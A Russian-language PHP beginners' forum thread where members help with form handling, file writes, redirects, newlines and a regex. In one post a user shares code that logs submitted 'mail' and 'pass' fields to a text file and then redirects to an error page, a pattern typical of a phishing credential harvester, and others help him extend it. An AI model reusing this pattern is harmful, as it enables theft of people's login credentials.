[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Еще один думает что php это дизайн.
     
    2 people like this.
  2. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Привет! Всем я новичёк!
    Поскажите пожалуйста есть 3 объекта два поля ввода и кнопка
    (пример: А-поле B-поле С-кнопка)
    есть ещё три файла index.php prog.php и sher.txt
    в index находятся эти три объекта. а в prog выполняется программа которую я хочу написать! Её суть состоит в копирвании ведёных даных поля A и B при нажатии кнопки С в файл sher.txt. Как это зделать?

    И если не трудно в примере? Если есть у гоко такое просьба дать сылочку!
     
  3. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    PHP:
    <form action='prog.php'>
    кнопки с именами a и b и кнопка с именем c
    </form>
    prog.php:
    PHP:
    <?php
    if(isset($_POST['c'])){
    file_put_contents('sher.txt'$_POST['a'].':'.$_POST['b']);
    header('Location: index.php');
    }
    ?>
     
  4. NuR

    NuR Elder - Старейшина

    Joined:
    11 Dec 2005
    Messages:
    85
    Likes Received:
    58
    Reputations:
    -2
    prog.php
    PHP:

    <?php

    if(isset($_POST["a"])&& isset($_POST["b"]))
    {
        
    $fh=fopen("sher.txt","a");
        
    fputs($fh,"a=".$_POST["a"].",b=".$_POST["b"]);
        
    fclose($fh);
        
    header('Location: index.php');
    }
    ?>

    index.php
    PHP:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <
    html>

    <
    head>
        <
    meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
        <
    meta name="author" content="-=NuR=-" />

        <
    title>Untitled 2</title>
    </
    head>

    <
    body>

    <
    form action="prog.php" method="post" enctype="multipart/form-data">
    <
    input type="text" value="A" name="a" />
    <
    br />
    <
    input type="text" value="B" name="b" />
    <
    br />
    <
    input type="submit" value="Сохранить" />
    </
    form>

    </
    body>
    </
    html>

     
  5. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    А как ещё зделать чтоб при нажатии ещё перекидывало на след страницу к примеру autor.php ???
     
  6. NuR

    NuR Elder - Старейшина

    Joined:
    11 Dec 2005
    Messages:
    85
    Likes Received:
    58
    Reputations:
    -2
    в prog.php header('Location: index.php'); замени header('Location: autor.php');
     
  7. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Ака зделать чтоб при записи он записывал в болокноте каждый раз с новой строки?
     
  8. NuR

    NuR Elder - Старейшина

    Joined:
    11 Dec 2005
    Messages:
    85
    Likes Received:
    58
    Reputations:
    -2
    fputs($fh,"a=".$_POST["a"].",b=".$_POST["b"]."\n");
     
  9. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    если для вин - то \r\n
     
  10. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Не работает!

    И ещё врпрос ка зделать чтоб в условии то что в prog.php было иначе идти на строницу error.php тоесть если поля не заполнены?
     
  11. scrat

    scrat кодер

    Joined:
    8 Apr 2007
    Messages:
    625
    Likes Received:
    541
    Reputations:
    3
    if/else.Иди ка ты учи PHP чувак. php.net тебе в помощь.А то это уж совсем глупые вопросы.
     
    4 people like this.
  12. Zircool

    Zircool Elder - Старейшина

    Joined:
    1 Mar 2006
    Messages:
    162
    Likes Received:
    37
    Reputations:
    5
    как определить Ip домена? с помощью какой функции?
     
  13. NuR

    NuR Elder - Старейшина

    Joined:
    11 Dec 2005
    Messages:
    85
    Likes Received:
    58
    Reputations:
    -2
    курим доку
     
  14. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Во первых кто ещё из нас глупый! То что if и else я и без тебя знаю пред идущий пост для начала надо прочитать мистер гениййй!

    Вопрос состои вот вчём есть код(условие)

    <?php

    if(isset($_POST["a"])&& isset($_POST["b"]))
    {
    $fh=fopen("mail.txt","a");
    fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
    fclose($fh);
    header('Location: error.php');
    }
    ?>

    его надо дописать! Что типа else поля а и b не заполнены идти на строницу error1.php!??? как это зделать?
     
  15. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    empty, strlen выбирай
     
    1 person likes this.
  16. NuR

    NuR Elder - Старейшина

    Joined:
    11 Dec 2005
    Messages:
    85
    Likes Received:
    58
    Reputations:
    -2
    гифорс, у тя мозг вообще имееться? читать умеешь? если да да то читай что тебе пишут.
    http://ru2.php.net/manual/en/control-structures.else.php
     
    1 person likes this.
  17. emik

    emik Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    57
    Likes Received:
    18
    Reputations:
    2
    header - это заголовок. перед ним не должно быть никакого вывода. никаких там echo, print и.т.д.

    Для этого нужно использовать буферизацию вывода ob_start.
    При этом информация выводится не на экран, а в переменную.

    _http://www.softtime.ru/dic/id_dic=302&id_group=12

    _http://us3.php.net/ob_start
     
  18. NuR

    NuR Elder - Старейшина

    Joined:
    11 Dec 2005
    Messages:
    85
    Likes Received:
    58
    Reputations:
    -2
    emik немного не втему ;) Но тоже будет полезно почитать=)
     
  19. emik

    emik Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    57
    Likes Received:
    18
    Reputations:
    2
    NuR єто почему же не в тему? да согласен на страничках нету реального примера, а имено буферизация, а потом переадресация. Но думаю одну строчку можно дописать самому если прочитать изложеное
     
  20. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Кто может составить регулярку? :)

    Есть такое:
    Code:
    <a href="[B]http://www.123.ru/[/B]"  class="res-1-lnk" target="_blank" onmouseover="return omff('http://www.123.ru/')" onmouseout="omff()">
    А нужно получить такое:

    Code:
    [B]http://www.123.ru[/B]/
    Какой регуляркой такое можно сделать? :confused:
     
Thread Status:
Not open for further replies.